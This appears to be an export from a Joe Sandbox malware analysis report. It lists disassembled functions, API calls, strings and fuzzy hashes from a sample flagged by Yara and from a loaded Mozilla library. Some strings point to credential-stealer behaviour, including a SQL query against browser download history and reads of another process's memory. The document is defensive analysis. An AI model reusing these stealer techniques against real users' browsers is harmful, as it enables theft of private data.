Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$memcpy
String ID: string too long
API String ID: 2304785028-2556327735
Opcode ID: b160d7f7ff6396d88cac3a49cb091d042423ab9d54f4b86d639f48645da6a5f3
Instruction ID: bd57d96bb95b0fbf908f28c44b6b50dc6d020166a51702343d7e4e47cd2081af
Opcode Fuzzy Hash: b160d7f7ff6396d88cac3a49cb091d042423ab9d54f4b86d639f48645da6a5f3
Instruction Fuzzy Hash: DF31C872B006105BD724AEDDE48096AF7E9EFD1720B20493FE495976C1C7749C498798

Function 6C83B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7E4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C823EBD,6C823EBD,00000000), ref: 6C7E42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C83B127), ref: 6C83B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C83B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C83B4E4

Strings

pid:, xrefs: 6C83B4DE

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d5e7099e59a24c1372e2ca519481ee644ebff2b4b784f781686779535c979e65
Instruction ID: 57c50fac19cca6e3a1affbb34502bd9c19fe19f103e1ce9fece9e4d9bd4758b8
Opcode Fuzzy Hash: d5e7099e59a24c1372e2ca519481ee644ebff2b4b784f781686779535c979e65
Instruction Fuzzy Hash: CE3127B1A016288BCB20DFE9D980ABEB7B5BF44318F542D29D44567B41D731E445CBE1

Function 00411F00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411F24
StrCmpCA.SHLWAPI(00000000,00423B6C,00000000,00000000,?,?,?,00000030,?,?,00000000,?,00416D4A), ref: 00411FA0
strtok_s.MSVCRT ref: 00411FC8

Strings

JmA, xrefs: 00411F10, 00411FC2, 00411F13, 00411FC5

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strtok_s
String ID: JmA
API String ID: 3330995566-1405400552
Opcode ID: 7587b085145d4c5a70b8916e14d57f0c7eecd34d77b9d6e2a00b1d7096edd74f
Instruction ID: 19acdaeae6daab9e701efbfdfe42ebbe0ed3af939986ed876a8ce1afbadaa485
Opcode Fuzzy Hash: 7587b085145d4c5a70b8916e14d57f0c7eecd34d77b9d6e2a00b1d7096edd74f
Instruction Fuzzy Hash: 8521E672A001049BC714EF65D881DEBB36DEF54314B10813FE9079B192D738EA868B9D

Function 00411D80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00411DA4
StrCmpCA.SHLWAPI(00000000,00423B6C,00000000,?,?,?,00000030,?,00416C69), ref: 00411DEE

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

strtok_s.MSVCRT ref: 00411E40

Strings

ilA, xrefs: 00411D90, 00411E3A, 00411D93, 00411E3D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID: ilA
API String ID: 348468850-1892973584
Opcode ID: b59dab17d7237a862bf67bb4758f0ca90d04d6ac2222c1f6b7aae00a7ac4fbab
Instruction ID: 989c108616679e3d1896f985f065346b90ada87208e4344b7f300f658e6130be
Opcode Fuzzy Hash: b59dab17d7237a862bf67bb4758f0ca90d04d6ac2222c1f6b7aae00a7ac4fbab
Instruction Fuzzy Hash: 9121A7316102059BCB14EFACE955BEA73A8EF14305F40416EE90A93150FB38BA58CB95

Function 6C82E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C82E577
AcquireSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82E584
ReleaseSRWLockExclusive.KERNEL32(6C86F4B8), ref: 6C82E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C82E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C82E722, 6C82E750, 6C82E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C82E5A1, 6C82E5CC, 6C82E5FF, 6C82E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C82E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C82E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C82E826, 6C82E850

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: b2009c3b5b6c2e66278c2fa71207d43509094fc1dc6a237eab10aef3062e2244
Instruction ID: 6644c135908cacb7417a4ba36b56503c2463a35a8bd92df56a60e17c862c859e
Opcode Fuzzy Hash: b2009c3b5b6c2e66278c2fa71207d43509094fc1dc6a237eab10aef3062e2244
Instruction Fuzzy Hash: 4C11CE31604254DFCB209F26C948B7ABBB5FB8932CF401A28E88547F40CB74E848CBE5

Function 6C830C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C830CD5

Part of subcall function 6C81F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C81F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C830D40
free.MOZGLUE ref: 6C830DCB

Part of subcall function 6C805E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C805EDB
Part of subcall function 6C805E90: memset.VCRUNTIME140(6C847765,000000E5,55CCCCCC), ref: 6C805F27
Part of subcall function 6C805E90: LeaveCriticalSection.KERNEL32(?), ref: 6C805FB2

free.MOZGLUE ref: 6C830DDD
free.MOZGLUE ref: 6C830DF2

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 148b8dedfee0132eaa8b5d30f953ee2fc50964c39926b1d2226999c7034085e4
Instruction ID: 12bcd4a93e7b219be2a32ba158c39b9214c0e8206896eae0d1be37922f1b4bf7
Opcode Fuzzy Hash: 148b8dedfee0132eaa8b5d30f953ee2fc50964c39926b1d2226999c7034085e4
Instruction Fuzzy Hash: 2A412771A087948BD320CF69C28079AFBE5BFC9614F519E2EE8D887B50D7709448CB92

Function 6C83CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C82DA31,00100000,?,?,00000000,?), ref: 6C83CDA4

Part of subcall function 6C7FCA10: malloc.MOZGLUE(?), ref: 6C7FCA26

Part of subcall function 6C83D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C83CDBA,00100000,?,00000000,?,6C82DA31,00100000,?,?,00000000,?), ref: 6C83D158
Part of subcall function 6C83D130: InitializeConditionVariable.KERNEL32(00000098,?,6C83CDBA,00100000,?,00000000,?,6C82DA31,00100000,?,?,00000000,?), ref: 6C83D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C82DA31,00100000,?,?,00000000,?), ref: 6C83CDC4

Part of subcall function 6C837480: ReleaseSRWLockExclusive.KERNEL32(?,6C8415FC,?,?,?,?,6C8415FC,?), ref: 6C8374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C82DA31,00100000,?,?,00000000,?), ref: 6C83CECC

Part of subcall function 6C7FCA10: mozalloc_abort.MOZGLUE(?), ref: 6C7FCAA2

Part of subcall function 6C82CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C83CEEA,?,?,?,?,00000000,?,6C82DA31,00100000,?,?,00000000), ref: 6C82CB57
Part of subcall function 6C82CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C82CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C83CEEA,?,?), ref: 6C82CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C82DA31,00100000,?,?,00000000,?), ref: 6C83D058

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 3fa89d855960727cd6da9f05227b3036558ea37cc3bb5a1e0c080aa12676cbd7
Instruction ID: 9833cd8c69b5d9469d3ef1ad3bc571fda63227021b0ba3c3d5b321735d27c4d4
Opcode Fuzzy Hash: 3fa89d855960727cd6da9f05227b3036558ea37cc3bb5a1e0c080aa12676cbd7
Instruction Fuzzy Hash: 85D17E71A04B169FD718CF28C5807A9F7E1BF89308F01962DD8598B712EB71E9A5CBC1

Function 00407D70 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 245COMMON

Download Yara Rule

Strings

SELECT target_path, tab_url from downloads, xrefs: 00407EB1
Downloads, xrefs: 00407DA7, 00407E1C

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID: Downloads$SELECT target_path, tab_url from downloads
API String ID: 2762123234-2176162482
Opcode ID: de48199b865d4203dce2e70b05fc37c75d63071d495707434078879932707968
Instruction ID: df86cd57f9426f315547e3c2a5ab47722142274a4ea88b328a2d309853e521b2
Opcode Fuzzy Hash: de48199b865d4203dce2e70b05fc37c75d63071d495707434078879932707968
Instruction Fuzzy Hash: F491EB72910108ABCB18FBA1DD52DEE7379AF54305F54853EF502728D2EF386A0DCA69

Function 0040F190 Relevance: 6.2, APIs: 4, Instructions: 171COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0040F1E1
VirtualQueryEx.KERNEL32(?,00000000,?,0000001C,00000000,00000000,00000000,?,0040F605,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000,000000FF,00000FFF,00000000), ref: 0040F22D

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID:
API String ID: 1804819252-0
Opcode ID: 4922b9ffd0bdd2a4308950aab7a52b07ba64433563dcdc8db5f05fd29279227b
Instruction ID: 620a2ee7dbf75a98bd5e4df7cf8568e27fd59bb1cafd92de04b93d0704ad1e4b
Opcode Fuzzy Hash: 4922b9ffd0bdd2a4308950aab7a52b07ba64433563dcdc8db5f05fd29279227b
Instruction Fuzzy Hash: 1151D675A00119ABEB24DE69DC41ABFB3FAEB88304F14417AFD05E3380D639DD0587A5

Function 6C805C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C805D40
EnterCriticalSection.KERNEL32(6C86F688), ref: 6C805D67
__aulldiv.LIBCMT ref: 6C805DB4
LeaveCriticalSection.KERNEL32(6C86F688), ref: 6C805DED

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: bfed7d5d199ee96770933f01e0e74393b67569248d9c3d642e2fa8a8c5728311
Instruction ID: 33e855c531c0cb2c5437693838cca1dbe33513ccc4ff07063296231edcd6a6a4
Opcode Fuzzy Hash: bfed7d5d199ee96770933f01e0e74393b67569248d9c3d642e2fa8a8c5728311
Instruction Fuzzy Hash: CC514D71E002198FCF28CE69C954ABEBBB2FB95308F155A2AD811A7750D770AD45CBE0

Function 6C7ECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7ECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C7ECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C7ECF4E

Strings

0, xrefs: 6C7ECF30

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 15258f1c1396af76e6e86f9cd55c98e98b92d0954521ba47de2a73ccbb55b693
Instruction ID: c78fa2ae5239b88db3fffb0b92a3d77ac8fc13bb3200e4fd3e78d63d712bb39e
Opcode Fuzzy Hash: 15258f1c1396af76e6e86f9cd55c98e98b92d0954521ba47de2a73ccbb55b693
Instruction Fuzzy Hash: 815104769002568FCB04CF1CC490AAABBB5EF99304F19859DD8595F352D771ED06CBE0

Function 6C826470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C8282BC,?,?), ref: 6C82649B

Part of subcall function 6C7FCA10: malloc.MOZGLUE(?), ref: 6C7FCA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8264A9

Part of subcall function 6C81FA80: GetCurrentThreadId.KERNEL32 ref: 6C81FA8D
Part of subcall function 6C81FA80: AcquireSRWLockExclusive.KERNEL32(6C86F448), ref: 6C81FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82653F
free.MOZGLUE(?), ref: 6C82655A

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 0709e2ceec5413ac4765a35c4e3bf2e1c5cb6b949704f58e33dc71be8012db2e
Instruction ID: 4f8499848f89410e85d6410e753a14715893902336e8cbfbb2dc532a4f373d0b
Opcode Fuzzy Hash: 0709e2ceec5413ac4765a35c4e3bf2e1c5cb6b949704f58e33dc71be8012db2e
Instruction Fuzzy Hash: 41316FB5A043159FD710CF14D984A9EBBE4BF89318F10482EE89A97741EB34E919CBD2

Function 0040FDE0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040FE02
GetLastError.KERNEL32(?,00000030), ref: 0040FE10
GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 0040FE48

Part of subcall function 00410B20: GetProcessHeap.KERNEL32(00000000,?,?,0040FE7B,00000000,?,00000030), ref: 00410B2D
Part of subcall function 00410B20: HeapFree.KERNEL32(00000000,?,0040FE7B,00000000,?,00000030), ref: 00410B34

wsprintfA.USER32 ref: 0040FE92

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: HeapInformationLogicalProcessor$ErrorFreeLastProcesswsprintf
String ID:
API String ID: 837085947-0
Opcode ID: ad73a0203859e2a31c487ba47b770c7f0c0a0b098a54aabfd6dfad6e15b3499f
Instruction ID: 107d1a2fbd54e6e2d77e7c937bb7251fdb6ef6d6cb169ef503f5f8ab4445ee07
Opcode Fuzzy Hash: ad73a0203859e2a31c487ba47b770c7f0c0a0b098a54aabfd6dfad6e15b3499f
Instruction Fuzzy Hash: BC214B32E00229A7C7309BA5EC41AAF7779EF40714F14017AFD09E6253E738AF4886D9

Function 0041A530 Relevance: 6.1, APIs: 4, Instructions: 80timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,?,?,0041BE6F), ref: 0041A568
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0041BE6F), ref: 0041A576
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0041BE6F), ref: 0041A590
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0041A5B0

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

